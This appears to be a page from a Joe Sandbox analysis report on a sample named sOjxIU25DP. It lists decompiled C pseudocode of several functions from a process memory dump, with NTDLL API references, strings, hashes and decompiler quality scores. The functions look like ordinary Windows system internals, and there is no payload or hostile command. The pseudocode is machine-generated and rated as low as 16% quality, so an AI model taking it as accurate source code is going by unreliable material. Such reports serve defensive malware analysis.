									if( *_t44 != _t53) {
										goto L15;
									} else {
										 *_t46 = _t53;
										 *((intOrPtr*)(_t46 + 4)) = _t44;
										 *_t44 = _t46;
										_v16 = _t46;
										goto L8;
									}
								}
							}
						}
						goto L16;
						L8:
						_t60 = _v24;
					} while (_t57 != 0x34d7379c);
					_t46 = _v33;
					goto L10;
				}
				L16:
				return _t46;
			}

0x34d2e75e
0x34d2e762
0x34d2e766
0x34d2e768
0x34d2e76c
0x34d2e76e
0x34d2e777
0x34d2e77b
0x34d2e77f
0x34d2e784
0x34d2e790
0x34d2e80f
0x34d2e814
0x34d2e819
0x34d2e819
0x34d2e81d
0x34d2e823
0x00000000
0x00000000
0x34d2e828
0x00000000
0x34d2e82a
0x34d2e82a
0x34d2e82f
0x00000000
0x34d2e831
0x34d2e83c
0x34d2e842
0x34d2e848
0x00000000
0x34d2e848
0x34d2e82f
0x00000000
0x34d2e828
0x34d2e792
0x34d2e792
0x34d2e792
0x34d2e792
0x34d2e795
0x34d2e797
0x34d2e79e
0x34d2e7a2
0x34d2e7b1
0x34d2e7bb
0x34d2e7bd
0x34d2e7bd
0x34d2e7c7
0x34d2e7cc
0x34d2e7d0
0x34d2e7d2
0x34d2e7d5
0x00000000
0x34d2e7d7
0x34d2e7da
0x34d2e84f
0x34d2e84f
0x34d2e852
0x34d2e7dc
0x34d2e7dc
0x34d2e7e1
0x00000000
0x34d2e7e3
0x34d2e7e3
0x34d2e7e5
0x34d2e7e9
0x34d2e7ec
0x34d2e7f2
0x00000000
0x34d2e7f4
0x34d2e7f4
0x34d2e7f6
0x34d2e7f9
0x34d2e7fb
0x00000000
0x34d2e7fb
0x34d2e7f2
0x34d2e7e1
0x34d2e7da
0x00000000
0x34d2e7ff
0x34d2e7ff
0x34d2e803
0x34d2e80b
0x00000000
0x34d2e80b
0x34d2e854
0x34d2e85c

APIs

RtlDebugPrintTimes.NTDLL ref: 34D2E7B1

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 8ad374b0a20ed9e6d759818f0122f9df7e1b6edc6388d9dc8cc1c71d7a38416d
Instruction ID: 205d8e355f0facfa52189467e072e5f84a13e15d00e18450fbe7f0553ca76cf8
Opcode Fuzzy Hash: 8ad374b0a20ed9e6d759818f0122f9df7e1b6edc6388d9dc8cc1c71d7a38416d
Instruction Fuzzy Hash: A43136B5509301DFD700DF19C44094ABFE6FF89668F448AAEE4889B251E730E909CF92

Uniqueness

Uniqueness Score: -1.00%

Function 34C83536 Relevance: 1.6, APIs: 1, Instructions: 84
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E34C83536(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int* _v8;
				char _v9;
				char _v17;
				signed int* _v20;
				void* _t24;
				signed int _t26;
				signed int* _t28;
				signed int* _t38;
				signed int _t39;
				intOrPtr* _t47;
				signed int _t49;
				signed int _t54;
				void* _t62;

				_t38 = __ecx;
				_t47 = __edx;
				_v8 = __ecx;
				if(_a4 != 0 || _a8 != 0) {
					_v9 = 0;
					_t54 = 0;
					L9:
					 *0x34d791e0(_a4, _a8);
					_t26 =  *_t47();
					_t39 = _t26;
					if(_t39 != 0) {
						 *((intOrPtr*)(_t39 + 0x34)) = 1;
						if(_v17 != 0) {
							_t49 = 0;
							L34C92330(_t26, 0x34d767c4);
							_t28 = _v20;
							if( *_t28 == _t54) {
								 *_t28 = _t39;
								 *((intOrPtr*)(_t39 + 0x34)) =  *((intOrPtr*)(_t39 + 0x34)) + 1;
								if(_t54 != 0) {
									 *(_t54 + 0x34) =  *(_t54 + 0x34) - 1;
									asm("sbb edi, edi");
									_t49 =  !( ~( *(_t54 + 0x34))) & _t54;
								}
							}
							E34C924D0(0x34d767c4);
							if(_t49 != 0) {
								L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t49);
							}
						}
						_t26 = _t39;
					}
					goto L17;
				} else {
					_v9 = 1;
					L34C92330(_t24, 0x34d767c4);
					_t54 =  *_t38;
					if(_t54 == 0) {
						L7:
						E34C924D0(0x34d767c4);
						goto L9;
					}
					_t62 =  *((intOrPtr*)(_t54 + 0x3c)) -  *0x34d7690c; // 0x0
					if(_t62 != 0 ||  *((char*)(_t54 + 0x48)) == 0 &&  *((intOrPtr*)(_t54 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L7;
					} else {
						 *(_t54 + 0x34) =  *(_t54 + 0x34) + 1;
						E34C924D0(0x34d767c4);
						_t26 = _t54;
						L17:
						return _t26;
					}
				}
			}

0x34c83547
0x34c8354a
0x34c8354c
0x34c83550
0x34c835b2
0x34c835b7
0x34c835b9
0x34c835c1
0x34c835c7
0x34c835c9
0x34c835cd
0x34c835d4
0x34c835db
0x34c835e2
0x34c835e4
0x34c835e9
0x34c835ef
0x34c835f1
0x34c835f3
0x34c835f8
0x34c835fa
0x34c83602
0x34c83606
0x34c83606
0x34c835f8
0x34c8360d
0x34c83614
0x34c83622
0x34c83622
0x34c83614
0x34c83627
0x34c83627
0x00000000
0x34c83558
0x34c8355d
0x34c83562
0x34c83567
0x34c8356b
0x34c835a6
0x34c835ab
0x00000000
0x34c835ab
0x34c83570
0x34c83576
0x00000000
0x34c83592
0x34c83592
0x34c8359a
0x34c8359f
0x34c83629
0x34c8362f
0x34c8362f
0x34c83576

APIs

RtlDebugPrintTimes.NTDLL ref: 34C835C1

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 96e7357264b11905a863f67f4191b61743b4d46682dd5ce8d8c9501338bc8adb
Instruction ID: b3b61e62b9c0a028f00f736f08efbdaf5d117397ea8e5a99fa83cd912a60e4b4
Opcode Fuzzy Hash: 96e7357264b11905a863f67f4191b61743b4d46682dd5ce8d8c9501338bc8adb
Instruction Fuzzy Hash: CA21E435201640EFE7219F09C944B5ABBE7FF80B68F81246DE84987661C772E848CF91

Uniqueness

Uniqueness Score: -1.00%

Function 34D0A130 Relevance: 1.5, APIs: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E34D0A130(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _t24;
				intOrPtr* _t31;

				_t24 =  *( *[fs:0x30] + 0x68) & 0x02000100;
				if(_t24 != 0x2000000) {
					_t31 =  *0x34d75a44; // 0x0
					if(_t31 != 0) {
						 *0x34d791e0(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40);
						_t24 =  *_t31();
					}
					return _t24;
				}
				return E34D0A1A7(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40);
			}

0x34d0a13e
0x34d0a148
0x34d0a170
0x34d0a178
0x34d0a19a
0x34d0a1a0
0x34d0a1a0
0x00000000
0x34d0a1a2
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34D0A19A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 1f9643fac727491ca0ccf950a97fbfb8520daf79944f7cba6839a67bfcef109b
Instruction ID: 30dfda3b643ebabba501e60eea7d25260f3a0d6fdf65830204d1665f2391a2c2
Opcode Fuzzy Hash: 1f9643fac727491ca0ccf950a97fbfb8520daf79944f7cba6839a67bfcef109b
Instruction Fuzzy Hash: 8201983A201209AFDF028F84DC40ECA3FA6FB5C794F068115FE1866220C632E971EF81

Uniqueness

Uniqueness Score: -1.00%

Function 34C792AF Relevance: 1.5, APIs: 1, Instructions: 35
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E34C792AF(void* __ecx) {
				char _v5;
				void* _t12;
				intOrPtr* _t22;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				_v5 = 0;
				_t22 =  *((intOrPtr*)(__ecx + 0x14));
				if(_t22 != 0) {
					 *0x34d791e0(1, __ecx,  *((intOrPtr*)(__ecx + 0x10)),  *((intOrPtr*)(__ecx + 0x18)), 0,  &_v5);
					 *_t22();
				}
				_t12 = E34C79303(_t25 + 0x5c);
				if(( *(_t25 + 4) & 0x00000002) == 0) {
					_t12 = L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t25 - 4);
				}
				return _t12;
			}

0x34c792b4
0x34c792b6
0x34c792b8
0x34c792bd
0x34c792c2
0x34c792d5
0x34c792db
0x34c792db
0x34c792e0
0x34c792e9
0x34c792fa
0x34c792fa
0x34c79302

APIs

RtlDebugPrintTimes.NTDLL ref: 34C792D5

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: b1e0dc983f4345c8f26e251bbb73bc9ff60277ca80e9b8b41b12495dea3bcc72
Instruction ID: 7ac4a66dd9e9bf3dc4bb0487ea1dbb3c76ad2e01e4bb4935228b67bc9497e9ab
Opcode Fuzzy Hash: b1e0dc983f4345c8f26e251bbb73bc9ff60277ca80e9b8b41b12495dea3bcc72
Instruction Fuzzy Hash: E3F0FA32200A00AFE3319B08CC05F9ABBFEEF84B00F04011CAA42930A0C7A0E909CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 34CBA580 Relevance: 1.4, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E34CBA580(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t87;
				signed int _t88;
				signed short* _t89;
				signed int _t91;
				signed int _t93;
				signed int _t94;
				signed int _t96;
				signed int _t100;
				void* _t101;
				signed int _t102;
				signed int _t104;
				signed int _t110;
				signed int _t115;
				signed int _t119;
				intOrPtr _t122;
				signed int _t128;
				signed int _t129;
				signed int _t130;
				signed int _t135;
				signed int _t136;
				void* _t137;
				signed char _t139;
				signed short* _t141;
				signed int _t144;
				signed int _t145;
				void* _t147;

				_t143 = __esi;
				_t140 = __edi;
				_push("true");
				_push(0x34d5c9a0);
				L34CD7BE4(__ebx, __edi, __esi);
				 *(_t147 - 0x48) =  *(_t147 + 0x10);
				_t110 =  *(_t147 + 8);
				 *(_t147 - 0x4c) = _t110;
				_t114 = 0;
				 *((char*)(_t147 - 0x19)) = 0;
				_t87 =  *[fs:0x30];
				if(( *(_t87 + 0x68) & 0x00000800) != 0) {
					__eflags =  *0x34d76d3c - _t114; // 0x0
					if(__eflags != 0) {
						L6:
						__eflags = _t110;
						if(_t110 == 0) {
							L9:
							 *(_t147 - 0x34) = _t114;
							 *(_t147 - 4) = _t114;
							__eflags = _t110;
							if(_t110 == 0) {
								L15:
								_t144 = _t114;
								 *(_t147 - 0x28) = _t144;
								_t128 = _t114;
								 *(_t147 - 0x40) = _t128;
								_t88 = 0x21;
								_t141 =  *(_t147 + 0x14);
								__eflags =  *_t141 - _t88;
								if( *_t141 != _t88) {
									 *(_t147 - 0x24) = _t114;
									L20:
									_t89 = _t141;
									 *(_t147 - 0x30) = _t89;
									while(1) {
										_t115 =  *_t89 & 0x0000ffff;
										__eflags = _t115;
										if(_t115 != 0) {
											goto L27;
										} else {
											break;
										}
										while(1) {
											L27:
											_t89 =  &(_t89[1]);
											 *(_t147 - 0x30) = _t89;
											__eflags = _t115;
											if(_t115 == 0) {
												break;
											}
											_t115 =  *_t89 & 0x0000ffff;
										}
										_t128 = _t128 + 1;
										 *(_t147 - 0x40) = _t128;
									}
									__eflags = _t128;
									if(_t128 == 0) {
										L50:
										_t145 = _t144 << 0x12;
										__eflags = _t145;
										L51:
										 *(_t147 - 0x34) = _t145;
										 *(_t147 - 4) = 0xfffffffe;
										E34CF66C4(_t110);
										_t91 = _t145;
										L2:
										 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0x10));
										return _t91;
									}
									_t119 = E34D27786(_t110, _t128);
									 *(_t147 - 0x20) = _t119;
									__eflags = _t119;
									if(_t119 == 0) {
										goto L50;
									}
									_t93 = 0x17;
									 *(_t147 - 0x2c) = _t93;
									 *(_t147 - 0x44) = _t93;
									_t144 =  *(_t119 + 0xc) & 0x0000ffff;
									 *(_t147 - 0x28) = _t144;
									__eflags = _t144;
									if(_t144 != 0) {
										__eflags = _t144 - 0x800;
										if(_t144 != 0x800) {
											L34:
											_t129 =  *(_t147 + 0x10);
											__eflags = _t129;
											if(_t129 == 0) {
												L42:
												_t94 = 0;
												__eflags = 0;
												_t130 = 0;
												 *(_t147 - 0x24) = 0;
												L43:
												 *(_t147 - 0x3c) = _t130;
												 *(_t147 - 0x30) = _t141;
												while(1) {
													__eflags =  *_t141;
													_t110 =  *(_t147 + 8);
													if( *_t141 == 0) {
														goto L50;
													}
													_t120 = _t119 + 0x10;
													 *((intOrPtr*)(_t147 - 0x38)) = _t119 + 0x10;
													__eflags = _t130;
													if(_t130 != 0) {
														E34CA5C3F(_t120,  *(_t147 - 0x2c) +  *(_t147 - 0x2c), _t130);
														_t94 =  *(_t147 - 0x24);
														_t122 =  *((intOrPtr*)(_t147 - 0x38));
														_t120 = _t122 + _t94 * 2;
														 *((intOrPtr*)(_t147 - 0x38)) = _t122 + _t94 * 2;
													}
													__eflags =  *(_t147 - 0x2c) - _t94 +  *(_t147 - 0x2c) - _t94;
													E34CA5C3F(_t120,  *(_t147 - 0x2c) - _t94 +  *(_t147 - 0x2c) - _t94, _t141);
													do {
														_t96 =  *_t141 & 0x0000ffff;
														_t141 =  &(_t141[1]);
														 *(_t147 - 0x30) = _t141;
														__eflags = _t96;
													} while (_t96 != 0);
													_t119 =  *(_t147 - 0x20) + 0x40;
													 *(_t147 - 0x20) = _t119;
													_t94 =  *(_t147 - 0x24);
													_t130 =  *(_t147 - 0x3c);
												}
												goto L50;
											}
											_t54 = _t129 + 2; // 0x3
											 *(_t147 - 0x3c) = _t54;
											do {
												_t100 =  *_t129;
												_t129 = _t129 + 2;
												__eflags = _t100;
											} while (_t100 != 0);
											_t135 = _t129 -  *(_t147 - 0x3c);
											__eflags = _t135;
											_t136 = _t135 >> 1;
											 *(_t147 - 0x24) = _t136;
											 *(_t147 - 0x3c) = _t136;
											if(_t135 == 0) {
												goto L42;
											}
											__eflags = _t136 - 0x13;
											if(_t136 < 0x13) {
												_t101 = 0x17;
												_t102 = _t101 - _t136;
												__eflags = _t102;
												 *(_t147 - 0x2c) = _t102;
												 *(_t147 - 0x44) = _t102;
												_t94 =  *(_t147 - 0x24);
											} else {
												_t94 = 0;
												 *(_t147 - 0x24) = 0;
											}
											__eflags =  *(_t147 - 0x3c) - 0x13;
											asm("sbb edx, edx");
											_t130 = _t136 &  *(_t147 - 0x48);
											goto L43;
										}
										_push(L"GlobalTags");
										L32:
										_t137 = 0x2e;
										__eflags = _t119 + 0x10;
										E34CA5C3F(_t119 + 0x10, _t137);
										_t119 =  *(_t147 - 0x20);
										L33:
										_t119 = _t119 + 0x40;
										__eflags = _t119;
										 *(_t147 - 0x20) = _t119;
										_t144 =  *(_t119 + 0xc) & 0x0000ffff;
										 *(_t147 - 0x28) = _t144;
										goto L34;
									}
									_t104 =  *(_t147 - 0x24);
									__eflags = _t104;
									if(_t104 == 0) {
										goto L33;
									}
									_push(_t104);
									goto L32;
								}
								 *(_t147 - 0x24) =  &(_t141[1]);
								while(1) {
									_t141 =  &(_t141[1]);
									 *(_t147 + 0x14) = _t141;
									__eflags = _t88;
									if(_t88 == 0) {
										goto L20;
									}
									_t88 =  *_t141 & 0x0000ffff;
								}
								goto L20;
							}
							_t139 =  *(_t147 + 0xc) |  *(_t110 + 0x44);
							__eflags = _t139 & 0x61000000;
							asm("bt edx, 0x1c");
							__eflags = (_t87 & 0xffffff00 | (_t139 & 0x61000000) >= 0x00000000) & (_t114 & 0xffffff00 | (_t139 & 0x61000000) != 0x00000000);
							if(__eflags == 0) {
								__eflags = _t139 & 0x00000001;
								if((_t139 & 0x00000001) == 0) {
									E34C8FED0( *((intOrPtr*)(_t110 + 0xc8)));
									 *((char*)(_t147 - 0x19)) = 1;
								}
								_t114 = 0;
								__eflags = 0;
								goto L15;
							}
							_push( *(_t147 + 0x14));
							_push( *(_t147 + 0x10));
							_t145 = E34D2F76A(_t110, _t110, _t139, _t140, _t143, __eflags);
							goto L51;
						}
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0xddeeddee;
						if( *((intOrPtr*)(_t110 + 8)) == 0xddeeddee) {
							goto L1;
						}
						__eflags =  *(_t110 + 0x44) & 0x01000000;
						if(( *(_t110 + 0x44) & 0x01000000) != 0) {
							goto L1;
						}
						goto L9;
					}
					_t87 = E34C95D90(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x258);
					 *0x34d76d3c = _t87;
					__eflags = _t87;
					if(_t87 == 0) {
						goto L1;
					}
					_t114 = 0;
					__eflags = 0;
					goto L6;
				}
				L1:
				_t91 = 0;
				goto L2;
			}

0x34cba580
0x34cba580
0x34cba580
0x34cba582
0x34cba587
0x34cba58f
0x34cba592
0x34cba595
0x34cba598
0x34cba59a
0x34cba59d
0x34cba5aa
0x34cf64a9
0x34cf64af
0x34cf64d5
0x34cf64d5
0x34cf64d7
0x34cf64f3
0x34cf64f3
0x34cf64f6
0x34cf64f9
0x34cf64fb
0x34cf6541
0x34cf6541
0x34cf6543
0x34cf6546
0x34cf6548
0x34cf654d
0x34cf654e
0x34cf6551
0x34cf6554
0x34cf656c
0x34cf656f
0x34cf656f
0x34cf6571
0x34cf6574
0x34cf6574
0x34cf6577
0x34cf657a
0x00000000
0x00000000
0x00000000
0x00000000
0x34cf65b6
0x34cf65b6
0x34cf65b6
0x34cf65b9
0x34cf65bc
0x34cf65bf
0x00000000
0x00000000
0x34cf65c1
0x34cf65c1
0x34cf65c6
0x34cf65c7
0x34cf65c7
0x34cf657c
0x34cf657e
0x34cf66a5
0x34cf66a5
0x34cf66a5
0x34cf66a8
0x34cf66a8
0x34cf66ab
0x34cf66b2
0x34cf66b7
0x34cba5b2
0x34cba5b5
0x34cba5c1
0x34cba5c1
0x34cf658b
0x34cf658d
0x34cf6590
0x34cf6592
0x00000000
0x00000000
0x34cf659a
0x34cf659b
0x34cf659e
0x34cf65a1
0x34cf65a5
0x34cf65a8
0x34cf65aa
0x34cf65cc
0x34cf65d2
0x34cf65f4
0x34cf65f4
0x34cf65f7
0x34cf65f9
0x34cf6640
0x34cf6640
0x34cf6640
0x34cf6642
0x34cf6644
0x34cf6647
0x34cf6647
0x34cf664a
0x34cf664d
0x34cf664f
0x34cf6652
0x34cf6655
0x00000000
0x00000000
0x34cf6657
0x34cf665a
0x34cf665d
0x34cf665f
0x34cf6668
0x34cf666d
0x34cf6670
0x34cf6673
0x34cf6676
0x34cf6676
0x34cf667f
0x34cf6681
0x34cf6686
0x34cf6686
0x34cf6689
0x34cf668c
0x34cf668f
0x34cf668f
0x34cf6697
0x34cf669a
0x34cf669d
0x34cf66a0
0x34cf66a0
0x00000000
0x34cf664d
0x34cf65fb
0x34cf65fe
0x34cf6601
0x34cf6601
0x34cf6604
0x34cf6609
0x34cf6609
0x34cf660e
0x34cf660e
0x34cf6611
0x34cf6613
0x34cf6616
0x34cf6619
0x00000000
0x00000000
0x34cf661b
0x34cf661e
0x34cf6629
0x34cf662a
0x34cf662a
0x34cf662c
0x34cf662f
0x34cf6632
0x34cf6620
0x34cf6620
0x34cf6622
0x34cf6622
0x34cf6635
0x34cf6639
0x34cf663b
0x00000000
0x34cf663b
0x34cf65d4
0x34cf65d9
0x34cf65db
0x34cf65dc
0x34cf65df
0x34cf65e4
0x34cf65e7
0x34cf65e7
0x34cf65e7
0x34cf65ea
0x34cf65ed
0x34cf65f1
0x00000000
0x34cf65f1
0x34cf65ac
0x34cf65af
0x34cf65b1
0x00000000
0x00000000
0x34cf65b3
0x00000000
0x34cf65b3
0x34cf6559
0x34cf655c
0x34cf655c
0x34cf655f
0x34cf6562
0x34cf6565
0x00000000
0x00000000
0x34cf6567
0x34cf6567
0x00000000
0x34cf655c
0x34cf6500
0x34cf6503
0x34cf650c
0x34cf6513
0x34cf6515
0x34cf652b
0x34cf652e
0x34cf6536
0x34cf653b
0x34cf653b
0x34cf653f
0x34cf653f
0x00000000
0x34cf653f
0x34cf6517
0x34cf651a
0x34cf6524
0x00000000
0x34cf6524
0x34cf64d9
0x34cf64e0
0x00000000
0x00000000
0x34cf64e6
0x34cf64ed
0x00000000
0x00000000
0x00000000
0x34cf64ed
0x34cf64c1
0x34cf64c6
0x34cf64cb
0x34cf64cd
0x00000000
0x00000000
0x34cf64d3
0x34cf64d3
0x00000000
0x34cf64d3
0x34cba5b0
0x34cba5b0
0x00000000

Strings

GlobalTags, xrefs: 34CF65D4

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: 826569de240ee94319d74d92568b28859b04eb47e5fabe02740e2447eb4c87bf
Instruction ID: 31742f81b4398e2b339903fb19c4e3097e1ad279af98c522b823d8d662ca5a7d
Opcode Fuzzy Hash: 826569de240ee94319d74d92568b28859b04eb47e5fabe02740e2447eb4c87bf
Instruction Fuzzy Hash: FF716EB5F00209DFEF54CF99C98069DBBB2BF58354F14812EE405E7254EB3A9942CB50

Uniqueness

Uniqueness Score: -1.00%

Function 34C902F9 Relevance: 1.4, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E34C902F9(void* __ecx, signed char* __edx, signed char* _a4, signed short* _a8) {
				signed int _v8;
				char _v20;
				char _v24;
				signed char* _v28;
				signed short* _v32;
				void* _v36;
				signed char* _v40;
				char _v44;
				intOrPtr _v48;
				signed short _v56;
				signed short _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t73;
				signed char* _t76;
				signed char* _t78;
				intOrPtr _t93;
				void* _t124;
				signed short* _t125;
				signed char* _t131;
				signed char* _t150;
				void* _t153;
				void* _t154;
				signed int _t156;

				_t142 = __edx;
				_t126 = __ecx;
				_v8 =  *0x34d7b370 ^ _t156;
				_v40 = _a4;
				_t124 = __ecx;
				_v28 = __edx;
				_v32 = _a8;
				_t73 = E34C93C40();
				_t150 = 0x7ffe0384;
				if(_t73 != 0) {
					_t76 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t76 = 0x7ffe0384;
				}
				_t152 = 0x7ffe0385;
				if( *_t76 != 0) {
					if(E34C93C40() == 0) {
						_t78 = 0x7ffe0385;
					} else {
						_t78 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t78 & 0x00000010) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E34C93C40() != 0) {
						_t96 = ( *[fs:0x30])[0x50] + 0x22a;
					} else {
						_t96 = _t150;
					}
					if( *_t96 != 0) {
						_t96 =  *[fs:0x30];
						if((( *[fs:0x30])[0x240] & 0x00000004) == 0) {
							goto L6;
						}
						if(E34C93C40() != 0) {
							_t96 =  *[fs:0x30];
							_t152 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t152 & 0x00000020) != 0) {
							L18:
							_t152 = _v28;
							_v36 =  *((intOrPtr*)(_t124 + 0x18)) + _v28[4];
							E34CC4FD0(_t126,  &_v56,  *((intOrPtr*)(_t124 + 0x18)) + _v28[4]);
							_t127 = _t124;
							E34CFF899(_t124, _v28, _v32,  &_v36,  &_v44);
							_t86 = _v36;
							if(_v36 == 0) {
								E34CCFF70( &_v20, "true", "#%u", _v44);
								_t86 =  &_v20;
							}
							E34CC4FD0(_t127,  &_v64, _t86);
							_t142 = _v40;
							_t125 = _t124 + 0x24;
							_v32 = _t125;
							_t131 = (_v40[0x24] & 0x0000ffff) + 8 + ((_v64 & 0x0000ffff) + (_v56 & 0x0000ffff)) * 2 + ( *_t125 & 0x0000ffff);
							_t93 =  *0x34d75d78; // 0x0
							_v28 = _t131;
							_v48 = _t131 + 0x24;
							_t124 = E34C95D90(_t131 + 0x24, ( *[fs:0x30])[0x18], _t93 + 0x180000, _t131 + 0x24);
							if(_t124 != 0) {
								_t153 = _t124 + 0x24;
								 *((short*)(_t124 + 6)) = 0x14d6;
								 *((intOrPtr*)(_t124 + 0x20)) = 3;
								E34CFFD65(_v32, _t153, _v28,  &_v24);
								_t154 = _t153 + _v24;
								_v28 = _v28 - _v24;
								E34CFFD65( &(_v40[0x24]), _t154, _v28 - _v24,  &_v24);
								_t152 = _t154 + _v24;
								_v28 = _v28 - _v24;
								E34CFFD20( &_v56, _t152, _v28 - _v24,  &_v24);
								_t142 = _v24 + _t152;
								E34CFFD20( &_v64, _v24 + _t152, _v28 - _v24,  &_v24);
								if(E34C93C40() != 0) {
									_t150 = ( *[fs:0x30])[0x50] + 0x22a;
								}
								_push(_t124);
								_push(_v48 + 0xffffffe0);
								_push(0x402);
								_push( *_t150 & 0x000000ff);
								E34CC2F90();
								_t96 = L34C93BC0(( *[fs:0x30])[0x18], 0, _t124);
							}
						}
						goto L6;
					} else {
						L6:
						return L34CC4B50(_t96, _t124, _v8 ^ _t156, _t142, _t150, _t152);
					}
				}
			}

0x34c902f9
0x34c902f9
0x34c90308
0x34c90310
0x34c90313
0x34c90319
0x34c9031c
0x34c9031f
0x34c90324
0x34c9032b
0x34ce4ae2
0x34c90331
0x34c90331
0x34c90331
0x34c90336
0x34c9033b
0x34ce4af3
0x34ce4b05
0x34ce4af5
0x34ce4afe
0x34ce4afe
0x34ce4b0a
0x00000000
0x34ce4b0c
0x00000000
0x34ce4b0c
0x34c90341
0x34c90341
0x34c90348
0x34ce4b1a
0x34c9034e
0x34c9034e
0x34c9034e
0x34c90353
0x34ce4b24
0x34ce4b31
0x00000000
0x00000000
0x34ce4b3e
0x34ce4b40
0x34ce4b49
0x34ce4b49
0x34ce4b52
0x34ce4b58
0x34ce4b58
0x34ce4b62
0x34ce4b69
0x34ce4b77
0x34ce4b7d
0x34ce4b82
0x34ce4b87
0x34ce4b97
0x34ce4b9f
0x34ce4b9f
0x34ce4ba7
0x34ce4bac
0x34ce4baf
0x34ce4bbc
0x34ce4bcc
0x34ce4bce
0x34ce4bd3
0x34ce4be6
0x34ce4bf1
0x34ce4bf5
0x34ce4bfe
0x34ce4c09
0x34ce4c14
0x34ce4c1b
0x34ce4c29
0x34ce4c33
0x34ce4c39
0x34ce4c47
0x34ce4c4e
0x34ce4c54
0x34ce4c69
0x34ce4c6c
0x34ce4c78
0x34ce4c83
0x34ce4c83
0x34ce4c8c
0x34ce4c90
0x34ce4c94
0x34ce4c99
0x34ce4c9a
0x34ce4cab
0x34ce4cab
0x34ce4bf5
0x00000000
0x34c90359
0x34c90359
0x34c90367
0x34c90367
0x34c90353

Strings

#%u, xrefs: 34CE4B8F

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: #%u
API String ID: 0-232158463
Opcode ID: 7875ac36c6fea7c2b2484507c91d3cae33cd143df177c8861131ae3468666357
Instruction ID: dc7c0dde89daacbbecf6d73a03b8f0eb04c693878d79fdc4bb14aa7ac44505e7
Opcode Fuzzy Hash: 7875ac36c6fea7c2b2484507c91d3cae33cd143df177c8861131ae3468666357
